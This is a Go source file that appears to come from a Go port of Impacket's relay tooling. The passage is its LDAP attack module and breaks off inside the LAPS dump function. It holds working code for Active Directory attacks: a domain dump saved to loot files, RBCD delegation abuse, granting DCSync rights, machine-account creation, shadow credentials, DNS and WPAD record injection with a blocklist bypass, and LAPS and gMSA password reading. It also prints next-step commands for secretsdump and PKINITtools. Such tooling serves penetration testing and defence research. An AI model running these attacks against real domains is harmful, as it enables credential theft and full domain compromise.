Files
psycep ce5ca7f159 module: rename to github.com/mandiant/gopacket
Fixes #6. The module was declared as `module gopacket` in go.mod,
which is not a canonical import path. External projects could not
`go get github.com/mandiant/gopacket` to use any of the 24
protocol packages as a library; the only workaround was to clone
the repo and add a `replace` directive to their own go.mod.

This commit:
- Sets `module github.com/mandiant/gopacket` in go.mod.
- Rewrites 434 import statements across 157 files from the bare
  `gopacket/...` prefix to `github.com/mandiant/gopacket/...`.

Pure mechanical change, no behavior difference. Makes the README's
library story (pkg/ directory, 24 reusable packages) actually
usable from external code.
2026-04-22 10:27:18 -05:00

1243 lines
38 KiB
Go

// Copyright 2026 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// https://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package relay
import (
"crypto/rand"
"encoding/binary"
"encoding/hex"
"fmt"
"log"
"os"
"path/filepath"
"strconv"
"strings"
"sync"
"time"
goldap "github.com/go-ldap/ldap/v3"
"github.com/mandiant/gopacket/internal/build"
gopacketldap "github.com/mandiant/gopacket/pkg/ldap"
"github.com/mandiant/gopacket/pkg/security"
)
// Package-level tracking to match Impacket's global state
var (
// delegatePerformed tracks which computers have had RBCD set to avoid duplicates
delegatePerformed = make(map[string]bool)
delegatePerformedMu sync.Mutex
// alreadyAddedComputer prevents creating multiple machine accounts in one session
alreadyAddedComputer bool
alreadyAddedComputerMu sync.Mutex
)
// --- Attack Module Registrations ---
// LDAPDumpAttack enumerates domain objects via LDAP.
type LDAPDumpAttack struct{}
func (a *LDAPDumpAttack) Name() string { return "ldapdump" }
func (a *LDAPDumpAttack) Run(session interface{}, config *Config) error {
client, ok := session.(*gopacketldap.Client)
if !ok {
return fmt.Errorf("ldapdump attack requires LDAP session")
}
return ldapDumpAttack(client, config)
}
// DelegateAttack performs RBCD delegation via LDAP.
type DelegateAttack struct{}
func (a *DelegateAttack) Name() string { return "delegate" }
func (a *DelegateAttack) Run(session interface{}, config *Config) error {
client, ok := session.(*gopacketldap.Client)
if !ok {
return fmt.Errorf("delegate attack requires LDAP session")
}
return delegateAttack(client, config)
}
// ACLAbuseAttack grants DCSync rights via LDAP.
type ACLAbuseAttack struct{}
func (a *ACLAbuseAttack) Name() string { return "aclabuse" }
func (a *ACLAbuseAttack) Run(session interface{}, config *Config) error {
client, ok := session.(*gopacketldap.Client)
if !ok {
return fmt.Errorf("aclabuse attack requires LDAP session")
}
return aclAbuseAttack(client, config)
}
// AddComputerAttack creates a machine account via LDAP.
type AddComputerAttack struct{}
func (a *AddComputerAttack) Name() string { return "addcomputer" }
func (a *AddComputerAttack) Run(session interface{}, config *Config) error {
client, ok := session.(*gopacketldap.Client)
if !ok {
return fmt.Errorf("addcomputer attack requires LDAP session")
}
return addComputerAttack(client, config)
}
// ShadowCredsAttack writes msDS-KeyCredentialLink via LDAP.
type ShadowCredsAttack struct{}
func (a *ShadowCredsAttack) Name() string { return "shadowcreds" }
func (a *ShadowCredsAttack) Run(session interface{}, config *Config) error {
client, ok := session.(*gopacketldap.Client)
if !ok {
return fmt.Errorf("shadowcreds attack requires LDAP session")
}
return shadowCredsAttack(client, config)
}
// LAPSDumpAttack reads LAPS passwords via LDAP.
type LAPSDumpAttack struct{}
func (a *LAPSDumpAttack) Name() string { return "laps" }
func (a *LAPSDumpAttack) Run(session interface{}, config *Config) error {
client, ok := session.(*gopacketldap.Client)
if !ok {
return fmt.Errorf("laps attack requires LDAP session")
}
return dumpLAPSAttack(client, config)
}
// GMSADumpAttack reads gMSA passwords via LDAP.
type GMSADumpAttack struct{}
func (a *GMSADumpAttack) Name() string { return "gmsa" }
func (a *GMSADumpAttack) Run(session interface{}, config *Config) error {
client, ok := session.(*gopacketldap.Client)
if !ok {
return fmt.Errorf("gmsa attack requires LDAP session")
}
return dumpGMSAAttack(client, config)
}
// --- Helper Functions ---
// extractDomainFromDN converts "DC=corp,DC=local" to "corp.local"
func extractDomainFromDN(baseDN string) string {
var parts []string
for _, part := range strings.Split(baseDN, ",") {
part = strings.TrimSpace(part)
if strings.HasPrefix(strings.ToUpper(part), "DC=") {
parts = append(parts, part[3:])
}
}
return strings.Join(parts, ".")
}
// --- Domain Dump Attack ---
func ldapDumpAttack(client *gopacketldap.Client, config *Config) error {
baseDN, err := client.GetDefaultNamingContext()
if err != nil {
return err
}
domain := extractDomainFromDN(baseDN)
log.Printf("[*] Domain dump on %s (%s)", domain, baseDN)
// Users
log.Printf("[*] Enumerating domain users...")
userResult, err := client.Search(baseDN,
"(&(objectCategory=person)(objectClass=user))",
[]string{"sAMAccountName", "distinguishedName", "memberOf", "userAccountControl",
"lastLogon", "pwdLastSet", "description", "adminCount"})
if err != nil {
log.Printf("[-] User enumeration failed: %v", err)
} else {
log.Printf("[+] Found %d users:", len(userResult.Entries))
for _, entry := range userResult.Entries {
sam := entry.GetAttributeValue("sAMAccountName")
uac := entry.GetAttributeValue("userAccountControl")
desc := entry.GetAttributeValue("description")
adminCount := entry.GetAttributeValue("adminCount")
status := ""
if uacVal, _ := strconv.Atoi(uac); uacVal&0x2 != 0 {
status = " [DISABLED]"
}
admin := ""
if adminCount == "1" {
admin = " [ADMIN]"
}
extra := ""
if desc != "" {
extra = fmt.Sprintf(" (%s)", desc)
}
log.Printf(" %-30s%s%s%s", sam, status, admin, extra)
}
}
// Computers
log.Printf("[*] Enumerating domain computers...")
compResult, err := client.Search(baseDN,
"(objectCategory=computer)",
[]string{"sAMAccountName", "dNSHostName", "operatingSystem", "operatingSystemVersion"})
if err != nil {
log.Printf("[-] Computer enumeration failed: %v", err)
} else {
log.Printf("[+] Found %d computers:", len(compResult.Entries))
for _, entry := range compResult.Entries {
sam := entry.GetAttributeValue("sAMAccountName")
dns := entry.GetAttributeValue("dNSHostName")
osName := entry.GetAttributeValue("operatingSystem")
log.Printf(" %-30s %-40s %s", sam, dns, osName)
}
}
// Groups
log.Printf("[*] Enumerating domain groups...")
groupResult, err := client.Search(baseDN,
"(objectCategory=group)",
[]string{"sAMAccountName", "distinguishedName", "member", "adminCount"})
if err != nil {
log.Printf("[-] Group enumeration failed: %v", err)
} else {
log.Printf("[+] Found %d groups:", len(groupResult.Entries))
for _, entry := range groupResult.Entries {
sam := entry.GetAttributeValue("sAMAccountName")
members := entry.GetAttributeValues("member")
adminCount := entry.GetAttributeValue("adminCount")
admin := ""
if adminCount == "1" {
admin = " [PRIVILEGED]"
}
log.Printf(" %-40s (%d members)%s", sam, len(members), admin)
}
}
// Trusts
log.Printf("[*] Enumerating domain trusts...")
trustResult, err := client.Search(baseDN,
"(objectClass=trustedDomain)",
[]string{"name", "trustDirection", "trustType", "trustAttributes"})
if err != nil {
log.Printf("[-] Trust enumeration failed: %v", err)
} else {
if len(trustResult.Entries) > 0 {
log.Printf("[+] Found %d trusts:", len(trustResult.Entries))
for _, entry := range trustResult.Entries {
name := entry.GetAttributeValue("name")
dir := entry.GetAttributeValue("trustDirection")
log.Printf(" %-40s direction=%s", name, dir)
}
} else {
log.Printf("[*] No domain trusts found")
}
}
// GPOs
log.Printf("[*] Enumerating GPOs...")
gpoResult, err := client.Search(baseDN,
"(objectClass=groupPolicyContainer)",
[]string{"displayName", "gPCFileSysPath", "distinguishedName"})
if err != nil {
log.Printf("[-] GPO enumeration failed: %v", err)
} else if len(gpoResult.Entries) > 0 {
log.Printf("[+] Found %d GPOs:", len(gpoResult.Entries))
for _, entry := range gpoResult.Entries {
name := entry.GetAttributeValue("displayName")
path := entry.GetAttributeValue("gPCFileSysPath")
log.Printf(" %-40s %s", name, path)
}
}
// Save results to loot directory
if config.LootDir != "" && userResult != nil {
lootFile := filepath.Join(config.LootDir, fmt.Sprintf("%s_ldap_dump.txt", domain))
f, err := os.Create(lootFile)
if err == nil {
defer f.Close()
fmt.Fprintf(f, "LDAP Domain Dump - %s\n", domain)
fmt.Fprintf(f, "Base DN: %s\n", baseDN)
fmt.Fprintf(f, "Time: %s\n\n", time.Now().Format(time.RFC3339))
fmt.Fprintf(f, "=== Users (%d) ===\n", len(userResult.Entries))
for _, entry := range userResult.Entries {
fmt.Fprintf(f, "%s\t%s\n", entry.GetAttributeValue("sAMAccountName"), entry.DN)
}
if compResult != nil {
fmt.Fprintf(f, "\n=== Computers (%d) ===\n", len(compResult.Entries))
for _, entry := range compResult.Entries {
fmt.Fprintf(f, "%s\t%s\t%s\n",
entry.GetAttributeValue("sAMAccountName"),
entry.GetAttributeValue("dNSHostName"),
entry.GetAttributeValue("operatingSystem"))
}
}
if groupResult != nil {
fmt.Fprintf(f, "\n=== Groups (%d) ===\n", len(groupResult.Entries))
for _, entry := range groupResult.Entries {
fmt.Fprintf(f, "%s\t(%d members)\n",
entry.GetAttributeValue("sAMAccountName"),
len(entry.GetAttributeValues("member")))
}
}
log.Printf("[+] Results saved to %s", lootFile)
}
}
return nil
}
// --- RBCD Delegation Attack ---
// Matches Impacket's delegateAttack() flow:
// 1. If --escalate-user not provided, auto-create a machine account via addComputer
// 2. Resolve the escalate user's SID
// 3. Read/create SecurityDescriptor on target computer
// 4. Add ACE granting delegation rights
// 5. Write modified SD back
func delegateAttack(client *gopacketldap.Client, config *Config) error {
targetSAM := config.delegateTarget
if targetSAM == "" {
return fmt.Errorf("no delegation target identified (need relayed computer account)")
}
// Check if already performed for this target (matches Impacket's delegatePerformed global)
delegatePerformedMu.Lock()
if delegatePerformed[targetSAM] {
delegatePerformedMu.Unlock()
log.Printf("[*] Delegate attack already performed for this computer, skipping")
return nil
}
delegatePerformedMu.Unlock()
baseDN, err := client.GetDefaultNamingContext()
if err != nil {
return err
}
domain := extractDomainFromDN(baseDN)
escalateUser := config.EscalateUser
if escalateUser == "" {
// Auto-create a machine account (matches Impacket's --delegate-access behavior)
computerName, _, err := addComputerAccount(client, config)
if err != nil {
return err
}
escalateUser = computerName
config.EscalateUser = escalateUser
}
log.Printf("[*] RBCD Delegation Attack")
log.Printf("[*] Escalate user: %s", escalateUser)
// 1. Resolve the escalate user's SID
escalateResult, err := client.Search(baseDN,
fmt.Sprintf("(sAMAccountName=%s)", goldap.EscapeFilter(escalateUser)),
[]string{"objectSid", "sAMAccountName"})
if err != nil || len(escalateResult.Entries) == 0 {
log.Printf("[-] User to escalate does not exist!")
return fmt.Errorf("failed to find escalate user %s: %v", escalateUser, err)
}
escalateSIDBytes := escalateResult.Entries[0].GetRawAttributeValue("objectSid")
escalateSID, _, err := security.ParseSIDBytes(escalateSIDBytes)
if err != nil {
return fmt.Errorf("failed to parse escalate user SID: %v", err)
}
log.Printf("[*] Escalate user SID: %s", escalateSID.String())
// 2. Find the target computer (the relayed account)
targetResult, err := client.Search(baseDN,
fmt.Sprintf("(sAMAccountName=%s)", goldap.EscapeFilter(targetSAM)),
[]string{"objectSid", "msDS-AllowedToActOnBehalfOfOtherIdentity", "distinguishedName"})
if err != nil || len(targetResult.Entries) == 0 {
log.Printf("[-] Computer to modify does not exist! (wrong domain?)")
return fmt.Errorf("failed to find target %s: %v", targetSAM, err)
}
targetDN := targetResult.Entries[0].DN
// 3. Build or modify SecurityDescriptor for RBCD
existing := targetResult.Entries[0].GetRawAttributeValue("msDS-AllowedToActOnBehalfOfOtherIdentity")
var sd *security.SecurityDescriptor
if len(existing) > 0 {
sd, err = security.ParseSecurityDescriptor(existing)
if err != nil {
log.Printf("[-] Warning: failed to parse existing SD, creating new: %v", err)
sd = nil
}
if sd != nil && build.Debug {
log.Printf("[D] Currently allowed sids:")
if sd.DACL != nil {
for _, ace := range sd.DACL.ACEs {
log.Printf("[D] %s", ace.SID.String())
}
}
}
}
if sd == nil {
ownerSID, _ := security.ParseSID("S-1-5-32-544") // BUILTIN\Administrators
sd = &security.SecurityDescriptor{
Revision: 1,
Control: security.SE_DACL_PRESENT | security.SE_SELF_RELATIVE,
Owner: ownerSID,
Group: ownerSID,
DACL: &security.ACL{
AclRevision: 4,
},
}
}
// 4. Add ACE granting full control to escalate user
ace := &security.ACE{
Type: security.ACCESS_ALLOWED_ACE_TYPE,
Flags: 0,
Mask: security.FULL_CONTROL,
SID: escalateSID,
}
sd.DACL.AddACE(ace)
sdBytes := sd.Marshal()
// 5. Write back via LDAP Modify
modReq := goldap.NewModifyRequest(targetDN, nil)
modReq.Replace("msDS-AllowedToActOnBehalfOfOtherIdentity", []string{string(sdBytes)})
if err := client.Conn.Modify(modReq); err != nil {
if strings.Contains(err.Error(), "Insufficient") || strings.Contains(err.Error(), "insufficient") {
return fmt.Errorf("could not modify object, the server reports insufficient rights: %v", err)
}
return fmt.Errorf("failed to write RBCD delegation: %v", err)
}
// Track successful delegation
delegatePerformedMu.Lock()
delegatePerformed[targetSAM] = true
delegatePerformedMu.Unlock()
log.Printf("[+] Delegation rights modified succesfully!")
log.Printf("[+] %s can now impersonate users on %s via S4U2Proxy", escalateUser, targetSAM)
log.Printf("[+] Next steps:")
log.Printf(" getST -spn cifs/%s -impersonate administrator %s/%s",
strings.TrimSuffix(targetSAM, "$"), domain, escalateUser)
return nil
}
// --- ACL Abuse (DCSync Rights) Attack ---
func aclAbuseAttack(client *gopacketldap.Client, config *Config) error {
baseDN, err := client.GetDefaultNamingContext()
if err != nil {
return err
}
domain := extractDomainFromDN(baseDN)
escalateUser := config.EscalateUser
if escalateUser == "" {
return fmt.Errorf("--escalate-user is required for aclabuse attack")
}
log.Printf("[*] ACL Abuse Attack - Granting DCSync rights to %s", escalateUser)
// 1. Get user SID
userResult, err := client.Search(baseDN,
fmt.Sprintf("(sAMAccountName=%s)", goldap.EscapeFilter(escalateUser)),
[]string{"objectSid"})
if err != nil || len(userResult.Entries) == 0 {
return fmt.Errorf("failed to find user %s: %v", escalateUser, err)
}
userSIDBytes := userResult.Entries[0].GetRawAttributeValue("objectSid")
userSID, _, err := security.ParseSIDBytes(userSIDBytes)
if err != nil {
return fmt.Errorf("failed to parse user SID: %v", err)
}
log.Printf("[*] User SID: %s", userSID.String())
// 2. Read domain object's nTSecurityDescriptor with SD Flags control
sdControl := gopacketldap.NewControlMicrosoftSDFlags(0x04) // DACL_SECURITY_INFORMATION
domainResult, err := client.SearchWithControls(baseDN,
"(&(objectCategory=domain))",
[]string{"nTSecurityDescriptor", "distinguishedName"},
[]goldap.Control{sdControl})
if err != nil || len(domainResult.Entries) == 0 {
return fmt.Errorf("failed to read domain SD: %v", err)
}
domainDN := domainResult.Entries[0].DN
sdData := domainResult.Entries[0].GetRawAttributeValue("nTSecurityDescriptor")
if len(sdData) == 0 {
return fmt.Errorf("failed to read nTSecurityDescriptor (may need higher privileges)")
}
// 3. Parse existing SecurityDescriptor
sd, err := security.ParseSecurityDescriptor(sdData)
if err != nil {
return fmt.Errorf("failed to parse domain SD: %v", err)
}
// 4. Save original SD for restore
if config.LootDir != "" {
restoreFile := filepath.Join(config.LootDir, fmt.Sprintf("%s_acl_backup.bin", domain))
os.WriteFile(restoreFile, sdData, 0600)
log.Printf("[*] Original SD saved to %s", restoreFile)
}
// 5. Add two object-specific ACEs for DCSync
// DS-Replication-Get-Changes: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
replicationChanges, _ := security.ParseGUID("1131f6aa-9c07-11d1-f79f-00c04fc2dcd2")
ace1 := &security.ACE{
Type: security.ACCESS_ALLOWED_OBJECT_ACE_TYPE,
Flags: 0,
Mask: security.DS_CONTROL_ACCESS,
ObjectFlags: 0x01, // ACE_OBJECT_TYPE_PRESENT
ObjectType: replicationChanges,
SID: userSID,
}
// DS-Replication-Get-Changes-All: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
replicationChangesAll, _ := security.ParseGUID("1131f6ad-9c07-11d1-f79f-00c04fc2dcd2")
ace2 := &security.ACE{
Type: security.ACCESS_ALLOWED_OBJECT_ACE_TYPE,
Flags: 0,
Mask: security.DS_CONTROL_ACCESS,
ObjectFlags: 0x01, // ACE_OBJECT_TYPE_PRESENT
ObjectType: replicationChangesAll,
SID: userSID,
}
sd.DACL.AddACE(ace1)
sd.DACL.AddACE(ace2)
// 6. Write modified SD back
newSDData := sd.Marshal()
sdControlWrite := gopacketldap.NewControlMicrosoftSDFlags(0x04)
modReq := goldap.NewModifyRequest(domainDN, []goldap.Control{sdControlWrite})
modReq.Replace("nTSecurityDescriptor", []string{string(newSDData)})
if err := client.Conn.Modify(modReq); err != nil {
return fmt.Errorf("failed to write modified SD: %v", err)
}
log.Printf("[+] DCSync rights granted to %s on %s!", escalateUser, domain)
log.Printf("[+] Next steps:")
log.Printf(" secretsdump %s/%s@%s", domain, escalateUser, config.TargetAddr)
return nil
}
// --- Add Computer Attack ---
// addComputerAccount creates a new machine account via LDAP and returns (computerName, password, error).
// Shared helper used by both the standalone addcomputer attack and the delegate attack's
// auto-creation flow (matching Impacket's --delegate-access behavior).
func addComputerAccount(client *gopacketldap.Client, config *Config) (string, string, error) {
alreadyAddedComputerMu.Lock()
if alreadyAddedComputer {
alreadyAddedComputerMu.Unlock()
return "", "", fmt.Errorf("new computer already added. Refusing to add another")
}
alreadyAddedComputerMu.Unlock()
baseDN, err := client.GetDefaultNamingContext()
if err != nil {
return "", "", err
}
domain := extractDomainFromDN(baseDN)
// Generate computer name (Impacket: 8 random uppercase ASCII letters + $)
computerName := config.AddComputer
if computerName == "" {
randBytes := make([]byte, 8)
rand.Read(randBytes)
var name strings.Builder
for _, b := range randBytes {
name.WriteByte('A' + (b % 26))
}
computerName = name.String() + "$"
}
if !strings.HasSuffix(computerName, "$") {
computerName += "$"
}
computerName = strings.ToUpper(computerName)
password := generateRandomPassword(15)
hostname := strings.TrimSuffix(computerName, "$")
log.Printf("[*] Attempting to create computer in: CN=Computers,%s", baseDN)
// Build SPN list (matches Impacket exactly)
spns := []string{
"HOST/" + hostname,
"HOST/" + hostname + "." + domain,
"RestrictedKrbHost/" + hostname,
"RestrictedKrbHost/" + hostname + "." + domain,
}
// Create computer in default Computers container
dn := "CN=" + hostname + ",CN=Computers," + baseDN
attrs := map[string][]string{
"objectClass": {"top", "person", "organizationalPerson", "user", "computer"},
"sAMAccountName": {computerName},
"userAccountControl": {"4096"}, // WORKSTATION_TRUST_ACCOUNT
"dNSHostName": {hostname + "." + domain},
"servicePrincipalName": spns,
}
// unicodePwd must be UTF-16LE encoded with surrounding quotes
passwordEncoded := encodeUnicodePassword(password)
// Use goldap.Add directly for binary attribute support
addReq := goldap.NewAddRequest(dn, nil)
for name, vals := range attrs {
addReq.Attribute(name, vals)
}
addReq.Attribute("unicodePwd", []string{string(passwordEncoded)})
if err := client.Conn.Add(addReq); err != nil {
errStr := err.Error()
// Match Impacket's error message for non-TLS connections
if strings.Contains(errStr, "Unwilling") || strings.Contains(errStr, "unwilling") {
return "", "", fmt.Errorf("failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account")
}
return "", "", fmt.Errorf("failed to add a new computer: %v", err)
}
alreadyAddedComputerMu.Lock()
alreadyAddedComputer = true
alreadyAddedComputerMu.Unlock()
log.Printf("[+] Adding new computer with username: %s and password: %s result: OK", computerName, password)
return computerName, password, nil
}
func addComputerAttack(client *gopacketldap.Client, config *Config) error {
computerName, password, err := addComputerAccount(client, config)
if err != nil {
return err
}
baseDN, _ := client.GetDefaultNamingContext()
domain := extractDomainFromDN(baseDN)
log.Printf("[+] Computer %s added successfully!", computerName)
log.Printf("[+] Password: %s", password)
log.Printf("[+] Domain: %s", domain)
log.Printf("[+] Use for RBCD delegation or other attacks")
return nil
}
// --- Shadow Credentials Attack ---
func shadowCredsAttack(client *gopacketldap.Client, config *Config) error {
baseDN, err := client.GetDefaultNamingContext()
if err != nil {
return err
}
target := config.ShadowTarget
if target == "" {
// Default to the relayed computer account (matches Impacket)
target = config.delegateTarget
}
if target == "" {
return fmt.Errorf("--shadow-target is required for shadowcreds attack")
}
log.Printf("[*] Shadow Credentials Attack on %s", target)
// 1. Find target's DN and current msDS-KeyCredentialLink
targetResult, err := client.Search(baseDN,
fmt.Sprintf("(sAMAccountName=%s)", goldap.EscapeFilter(target)),
[]string{"sAMAccountName", "objectSid", "msDS-KeyCredentialLink", "distinguishedName"})
if err != nil || len(targetResult.Entries) == 0 {
return fmt.Errorf("failed to find target %s: %v", target, err)
}
targetDN := targetResult.Entries[0].DN
existingLinks := targetResult.Entries[0].GetAttributeValues("msDS-KeyCredentialLink")
log.Printf("[*] Target DN: %s", targetDN)
log.Printf("[*] Existing KeyCredentialLink entries: %d", len(existingLinks))
// 2. Generate self-signed certificate (RSA-2048)
cert, key, err := generateSelfSignedCert(target)
if err != nil {
return fmt.Errorf("failed to generate certificate: %v", err)
}
// 3. Build KeyCredential structure
keyCredential, deviceID, err := buildKeyCredential(cert, key)
if err != nil {
return fmt.Errorf("failed to build KeyCredential: %v", err)
}
// 4. Format as DN-With-Binary for LDAP
targetSIDBytes := targetResult.Entries[0].GetRawAttributeValue("objectSid")
dnWithBinary := formatDNWithBinary(keyCredential, targetDN)
// 5. Append to existing values
newLinks := append(existingLinks, dnWithBinary)
modReq := goldap.NewModifyRequest(targetDN, nil)
modReq.Replace("msDS-KeyCredentialLink", newLinks)
if err := client.Conn.Modify(modReq); err != nil {
return fmt.Errorf("failed to write msDS-KeyCredentialLink: %v", err)
}
// 6. Export certificate with random password (matches Impacket)
domain := extractDomainFromDN(baseDN)
pfxPassword := generateRandomAlphanumeric(20)
pfxFile := filepath.Join(config.LootDir, fmt.Sprintf("%s_%s.pfx", target, hex.EncodeToString(deviceID[:4])))
if err := exportPFX(cert, key, pfxFile, pfxPassword); err != nil {
log.Printf("[-] Failed to export PFX: %v", err)
} else {
log.Printf("[+] Saved PFX (#PKCS12) certificate & key at path: %s", pfxFile)
log.Printf("[+] Must be used with password: %s", pfxPassword)
}
log.Printf("[+] Shadow Credentials attack succeeded!")
log.Printf("[+] DeviceID: %s", hex.EncodeToString(deviceID))
_ = targetSIDBytes
log.Printf("[+] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools")
log.Printf("[+] Run the following command to obtain a TGT")
log.Printf(" python3 PKINITtools/gettgtpkinit.py -cert-pfx %s -pfx-pass %s %s/%s %s.ccache",
pfxFile, pfxPassword, domain, target, target)
return nil
}
// --- DNS Record Attack ---
// DNSRecordAttack adds a DNS record via LDAP.
type DNSRecordAttack struct{}
func (a *DNSRecordAttack) Name() string { return "adddns" }
func (a *DNSRecordAttack) Run(session interface{}, config *Config) error {
client, ok := session.(*gopacketldap.Client)
if !ok {
return fmt.Errorf("adddns attack requires LDAP session")
}
return addDNSRecordAttack(client, config)
}
// addDNSRecordAttack adds an A record (and NS for wpad) via LDAP.
// Matches Impacket's ldapattack.py addDnsRecord() flow.
func addDNSRecordAttack(client *gopacketldap.Client, config *Config) error {
recordName := config.AddDNSRecord[0]
recordIP := config.AddDNSRecord[1]
if recordName == "" || recordIP == "" {
return fmt.Errorf("--add-dns-record requires NAME:IP format")
}
baseDN, err := client.GetDefaultNamingContext()
if err != nil {
return err
}
domain := extractDomainFromDN(baseDN)
log.Printf("[*] Adding DNS record: %s -> %s", recordName, recordIP)
// Find DomainDnsZones naming context
dnsNamingContext, err := findDNSNamingContext(client)
if err != nil {
return err
}
dnsBaseDN := fmt.Sprintf("DC=%s,CN=MicrosoftDNS,%s", domain, dnsNamingContext)
// Check if record already exists
existing, err := client.Search(dnsBaseDN,
fmt.Sprintf("(name=%s)", goldap.EscapeFilter(recordName)),
[]string{"name"})
if err == nil && len(existing.Entries) > 0 {
return fmt.Errorf("domain already has a '%s' DNS record", recordName)
}
log.Printf("[*] Domain does not have a '%s' record", recordName)
isWPAD := strings.EqualFold(recordName, "wpad")
aRecordName := recordName
if isWPAD {
// GQBL bypass: create random A record, then NS wpad pointing to it
log.Printf("[*] WPAD detected - bypassing GQBL with intermediate A record")
randBytes := make([]byte, 6)
rand.Read(randBytes)
aRecordName = hex.EncodeToString(randBytes)
}
// Build A record DNS data
aRecordData := buildDNSRecord(recordIP, "A")
aRecordDN := fmt.Sprintf("DC=%s,%s", aRecordName, dnsBaseDN)
// Get schema naming context for objectCategory
schemaDN, _ := client.GetSchemaNamingContext()
objectCategory := fmt.Sprintf("CN=Dns-Node,%s", schemaDN)
// ACL allowing everyone read/write (matches Impacket's hardcoded SD)
aclAllowEveryone := []byte{
0x01, 0x00, 0x04, 0x9c, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x14, 0x00, 0x00, 0x00, 0x02, 0x00, 0x30, 0x00,
0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x00,
0xff, 0x01, 0x0f, 0x00, 0x01, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x0a, 0x14, 0x00, 0x00, 0x00, 0x00, 0x10,
0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
0x00, 0x00, 0x00, 0x00,
}
addReq := goldap.NewAddRequest(aRecordDN, nil)
addReq.Attribute("objectClass", []string{"top", "dnsNode"})
addReq.Attribute("dnsRecord", []string{string(aRecordData)})
addReq.Attribute("objectCategory", []string{objectCategory})
addReq.Attribute("dNSTombstoned", []string{"FALSE"})
addReq.Attribute("name", []string{aRecordName})
addReq.Attribute("nTSecurityDescriptor", []string{string(aclAllowEveryone)})
if err := client.Conn.Add(addReq); err != nil {
return fmt.Errorf("failed to add A record '%s': %v", aRecordName, err)
}
log.Printf("[+] Added A record '%s' -> %s", aRecordName, recordIP)
log.Printf("[!] CLEANUP: set dNSTombstoned=TRUE and dnsRecord=NULL on %s", aRecordDN)
if !isWPAD {
return nil
}
// Add wpad NS record pointing to the intermediate A record
nsTarget := aRecordName + "." + domain
nsRecordData := buildDNSRecord(nsTarget, "NS")
nsRecordDN := fmt.Sprintf("DC=wpad,%s", dnsBaseDN)
nsAddReq := goldap.NewAddRequest(nsRecordDN, nil)
nsAddReq.Attribute("objectClass", []string{"top", "dnsNode"})
nsAddReq.Attribute("dnsRecord", []string{string(nsRecordData)})
nsAddReq.Attribute("objectCategory", []string{objectCategory})
nsAddReq.Attribute("dNSTombstoned", []string{"FALSE"})
nsAddReq.Attribute("name", []string{"wpad"})
nsAddReq.Attribute("nTSecurityDescriptor", []string{string(aclAllowEveryone)})
if err := client.Conn.Add(nsAddReq); err != nil {
return fmt.Errorf("failed to add NS record 'wpad': %v", err)
}
log.Printf("[+] Added NS record 'wpad' -> %s", nsTarget)
log.Printf("[!] CLEANUP: set dNSTombstoned=TRUE and dnsRecord=NULL on %s", nsRecordDN)
return nil
}
// findDNSNamingContext finds the DomainDnsZones naming context.
func findDNSNamingContext(client *gopacketldap.Client) (string, error) {
rootDSE, err := client.SearchBase("", "(objectClass=*)", []string{"namingContexts"})
if err != nil {
return "", fmt.Errorf("failed to query rootDSE: %v", err)
}
for _, entry := range rootDSE.Entries {
for _, nc := range entry.GetAttributeValues("namingContexts") {
if strings.Contains(strings.ToLower(nc), "domaindnszones") {
return nc, nil
}
}
}
return "", fmt.Errorf("could not find DomainDnsZones naming context")
}
// buildDNSRecord constructs the binary DNS record format used by AD-integrated DNS.
func buildDNSRecord(data, recordType string) []byte {
var dnsType uint16
var dnsData []byte
switch recordType {
case "A":
dnsType = 0x0001
parts := strings.Split(data, ".")
dnsData = make([]byte, len(parts))
for i, p := range parts {
v, _ := strconv.Atoi(p)
dnsData[i] = byte(v)
}
case "NS":
dnsType = 0x0002
nameArray := encodeDNSNameArray(data)
dnsData = make([]byte, 2+len(nameArray)+1)
dnsData[0] = byte(len(data) + 2)
dnsData[1] = byte(strings.Count(data, ".") + 1)
copy(dnsData[2:], nameArray)
dnsData[len(dnsData)-1] = 0 // null terminator
default:
return nil
}
// DNS record header (matching Impacket's format)
record := make([]byte, 0, 24+len(dnsData))
// DataLength (2 bytes LE)
dnsLength := make([]byte, 2)
binary.LittleEndian.PutUint16(dnsLength, uint16(len(dnsData)))
record = append(record, dnsLength...)
// Type (2 bytes LE)
typeBytes := make([]byte, 2)
binary.LittleEndian.PutUint16(typeBytes, dnsType)
record = append(record, typeBytes...)
// Version/Flags (4 bytes)
record = append(record, 0x05, 0xF0, 0x00, 0x00)
// Serial (4 bytes LE) - use 1 as default
serial := make([]byte, 4)
binary.LittleEndian.PutUint32(serial, 1)
record = append(record, serial...)
// TTL (4 bytes big-endian - reversed from Impacket's "reversed(int_to_4_bytes(60))")
ttl := make([]byte, 4)
binary.BigEndian.PutUint32(ttl, 60)
record = append(record, ttl...)
// Reserved (8 bytes)
record = append(record, 0, 0, 0, 0, 0, 0, 0, 0)
// Data
record = append(record, dnsData...)
return record
}
// encodeDNSNameArray encodes a domain name in DNS label format (length-prefixed segments).
func encodeDNSNameArray(name string) []byte {
var result []byte
parts := strings.Split(name, ".")
for _, part := range parts {
result = append(result, byte(len(part)))
result = append(result, []byte(part)...)
}
return result
}
// --- LAPS Dump Attack ---
func dumpLAPSAttack(client *gopacketldap.Client, config *Config) error {
baseDN, err := client.GetDefaultNamingContext()
if err != nil {
return err
}
log.Printf("[*] Dumping LAPS passwords...")
result, err := client.Search(baseDN,
"(objectCategory=computer)",
[]string{"sAMAccountName", "dNSHostName", "ms-MCS-AdmPwd", "ms-Mcs-AdmPwdExpirationTime",
"msLAPS-Password", "msLAPS-EncryptedPassword", "msLAPS-PasswordExpirationTime"})
if err != nil {
return fmt.Errorf("LAPS search failed: %v", err)
}
found := 0
for _, entry := range result.Entries {
hostname := entry.GetAttributeValue("dNSHostName")
